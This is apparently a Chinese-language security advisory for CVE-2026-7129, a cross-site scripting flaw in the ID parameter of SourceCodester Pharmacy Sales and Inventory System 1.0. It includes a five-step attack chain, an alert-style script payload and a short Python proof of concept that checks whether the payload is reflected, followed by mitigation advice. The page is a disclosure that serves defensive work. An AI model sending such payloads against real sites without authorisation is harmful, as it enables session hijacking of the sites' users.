IPBUF安全漏洞报告
English
CVE-2026-7129 CVSS 4.3 中危

CVE-2026-7129 SourceCodester药店系统XSS漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7129
漏洞类型
跨站脚本 (XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Pharmacy Sales and Inventory System

相关标签

XSS跨站脚本SourceCodesterWeb漏洞CVE-2026-7129Pharmacy Sales and Inventory System

漏洞概述

SourceCodester Pharmacy Sales and Inventory System 1.0版本中存在跨站脚本(XSS)漏洞。该漏洞位于/index.php?page=categories文件的处理逻辑中,由于未对ID参数进行充分过滤,攻击者可构造恶意链接。攻击需诱导用户交互,可能导致会话劫持或页面内容篡改。

技术细节

该漏洞属于典型的反射型或存储型跨站脚本漏洞,技术根源在于应用程序在处理`/index.php?page=categories`接口请求时,未对`ID`参数进行有效的安全过滤和上下文感知的输出编码。攻击者可以利用这一缺陷,将恶意JavaScript代码(如`<script>alert(1)</script>`)注入到该参数中。根据CVSS向量(AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N),攻击可远程发起且无需认证,但需要用户交互(UI:R)。当受害者访问被篡改的URL时,注入的脚本将在其浏览器中解析执行。虽然该向量显示机密性无影响(C:N),但完整性影响为低(I:L),攻击者可利用此漏洞篡改页面内容或执行未授权操作。

攻击链分析

STEP 1
侦察
攻击者识别出目标站点使用SourceCodester Pharmacy Sales and Inventory System 1.0,并确认存在/index.php?page=categories接口。
STEP 2
构造载荷
攻击者针对ID参数的过滤缺陷,编写包含恶意JavaScript代码的URL链接。
STEP 3
投递攻击
攻击者通过网络钓鱼或其他社会工程学手段,诱导受害者点击包含恶意Payload的链接。
STEP 4
执行代码
受害者的浏览器请求该链接,服务器将未过滤的参数值返回,浏览器解析并执行恶意脚本。
STEP 5
达成效果
恶意脚本在受害者的浏览器上下文中运行,可能导致Cookie窃取、会话劫持或页面内容被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target.com/index.php" # Vulnerable parameter and payload # The 'ID' parameter in the 'categories' page is vulnerable params = { "page": "categories", "ID": "<script>alert('CVE-2026-7129_XSS');</script>" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send the malicious request response = requests.get(target_url, params=params, headers=headers, timeout=10) # Check if the payload is reflected in the response (basic detection) if "<script>alert('CVE-2026-7129_XSS');</script>" in response.text: print("[+] Potential XSS vulnerability detected!") print("[+] Payload reflected in response.") else: print("[-] Payload not found or encoded.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

SourceCodester Pharmacy Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即检查系统版本并联系供应商获取安全更新。在无法立即修补的情况下,应在服务器端或反向代理层面(如Nginx/Apache)对ID参数中的特殊字符(如 <, >, ', ", /)进行拦截或过滤。同时,管理员和用户应提高警惕,避免点击来源不明的链接,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表